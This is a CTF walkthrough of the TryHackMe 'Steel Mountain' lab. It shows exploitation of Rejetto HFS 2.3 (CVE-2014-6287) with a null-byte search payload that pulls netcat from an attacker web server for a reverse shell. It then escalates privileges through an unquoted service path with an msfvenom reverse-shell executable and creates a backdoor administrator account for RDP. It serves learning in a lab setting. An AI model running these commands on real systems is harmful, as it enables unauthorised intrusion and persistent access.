TryHackMe Steel Mountain (No Metasploit)

lofileox3264
7 min readMay 7, 2020

Originally completed this box using metasploit, but decided to go at it again without it. Here’s what I did and an explanation of why it works.

TLDR: Target has vulnerable web service, used RCE exploit for inital access, escalated privilege by exploiting service running as system with unquoted path, created backdoor user with rdp access.

So first we run an nmap scan, doesn’t need to be anything crazy for this box just a default scan will do.

We can see this machine is running a few services.

nmap scan

Namely http, smb, rdp, and another http service on port 8080. Cool so lets go ahead and do some enumeration. I decided to run two nmap scans in the background using the smb-enum*.nse scripts and the rdp*.nse scripts to see if we can get any information from those services. Meanwhile we can open up a web browser and check out those web services.

If we check out the service running on port 80 we’re greeted by a ‘Steel Mountain’ page with an employee of the month image. Checking out the source we don’t really see anything interesting, but if we check out the properties of the image we can get the employee’s name.

Image Properties Bill Harper

At this point the nmap scans came back, the smb scripts didn’t find any shares with anonymous access and the rdp scripts didn’t come back with anything useful (just possible DoS vulnerabilities).

So lets move on to the next web service. On port 8080 we’re greeted by something a little different. It seems like a file server of sorts, almost like an ftp client or something. After running through the available options like search and ‘Get list’ we don’t really get anything useful. However at the bottom we can see a hyperlink along with the version of software this page is running. If we click on it we’re taken to the source page of the software, Rejetto HTTP File Server.

Http service port 8080

Nice, so now we know that this page is running Rejetto HTTP File Server version 2.3. Lets go ahead and enter this into exploit-db and see if there’s any exploit for this. (spoiler alert: there is)

There’s a few exploits but the one that we’re going to use is for CVE-2014–6287.

Exploit found on exploit-db

This is a RCE exploit and it works by taking advantage of poor input validation to a macro function.

The regular expression used will not handle a null input value so if we send a null byte to it via the search function then it stops the regex and we can upload code that will be executed with the macro. The exploit script does this to get a reverse shell.

The script is written in python and takes two arguments, the address of the machine hosting the file server and the port that its running on.

>> python exploit.py [TargetAddress] [PortNumber]

Before running the script we need to change two variables for our local address where we’ll have a netcat listener and its port. It also requires that we have a web server running with a netcat executable on it (like this one).

Setting local address and port variables

As a high level overview, the script takes the arguments and sends in the null value using the search function in the url.

#PoC http://TargetAddress:Port/?search=%00{.exec|[codetoexecute].}

The null byte is followed by code to connect to your web server and pull the netcat application onto the machine. Then it saves the application to a location on the machine where it then executes it, creating a netcat connection to the address and port specified in the script.

In this case, the listener port was set to 4444 in the script so lets start a nc listener on that port and run the script. If everything runs smoothly then we’ll get access to the machine.

Running exploit, getting access to machine

The exploit worked, so now we’re logged in as the user ‘bill’.

From here we can go through the machine as the user bill and in C:\Users\bill\Desktop\ we can find the user.txt file containing the user flag. But let’s do some more enumeration. Let’s check what services are running on the machine. We can use the powershell cmdlet get-service to list all the services and their state.

Output of get-service

Right at the beginning we see an interesting service. “Advanced SystemCare Service 9” this definitely isn’t a operating system service. We can also see “Amazon SSM Agent” but that’s just a EC2 management service. (now we know its an EC2 VM)

If we do a quick search on Advanced System Care we can find out some interesting information about it. It’s made by a company called “IObit”, apparently malwarebytes identifies it as a PUP, oh and it has a Privilege Escalation vulnerability through an Unquoted Service Path . Perfect.

After digging around a bit we find where this service is located and what its running as by using the sc command:

C:\Users\bill\Desktop>sc qc AdvancedSystemCareService9

This tells us that the service is in C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe and that it runs as System.

Now lets talk about the attack. This exploit works by taking advantage of the path name leading to the service.

As an example, let’s pretend there is a service that we need to run and the path to it is C:\Program Files (x86)\Service.exe . In this case the path does not have quotes and it has spaces, because of this Windows could have a hard time distinguishing between running:

C:\Program Files (x86)\Service.exe

and something like:

C:\Program.exe

If the path were C:\’Program Files (x86)’\Service.exe then it wouldn’t have any issue because Program Files (x86) is in quotes. However, the thing that drives this exploit home is the permissions on the directory before the spaces. Because even if the path has spaces, if we don’t have permission to write on the parent directory then it’s useless.

Lucky for us, bill has access to the previous directory C:\Program Files (x86)\IObit

Checking Permissions for IObit

So now that we know how the attack works, we can create an exploit with a reverse shell payload, name it “Advanced.exe”, and place it in the IObit directory. We’ll restart the service and when it starts up again it’ll execute our exploit instead of the actual service, giving us a shell with System privileges.

For this I actually used msfvenom, (I know I know, but I don’t know how to encode payloads manually) using the x86 encoder “shikata_ga_nai” and the payload “shell_reverse_tcp” with port 4445.

>> msfvenom -p windows/shell_reverse_tcp LHOST=[LocalAddress] LPORT=4445 -e x86/shikata_ga_nai -f exe -o Advanced.exe

Now we can take this executable and send it to the server using powershell commands and our web server.

First we need to copy this file to our web server directory. Then on the target machine we can pull the file with:

C:\Users\bill\Desktop>powershell -c invoke-webrequest -uri http://[WebServerAddress]/Advanced.exe -outfile .\Advanced.exe

Now that its on the target machine we can just copy it using the powershell copy-item cmdlet and place it in C:\’Program Files (x86)’\IObit\Advanced.exe

Before we restart the service we need to set up our netcat listener on 4445 and then we can restart the service with the powershell stop-service and start-service cmdlets.

Running exploit and getting System shell

Now that we have system level access we can go ahead and access the C:\Users\Administrator\Desktop directory to get the root flag but lets do a little something more for fun.

Using the following commands we can create an admin user for ourselves so we can remote into the machine at a later time.

C:\>net user [Username] [Password] /add
C:\>net localgroup administrators [Username] /add

And if you recall back to the nmap scan the machine is also running rdp so we can use that to access the machine. You can use any client of your choice, I’m using remmina just because that’s what I had installed.

RDP into machine

--

--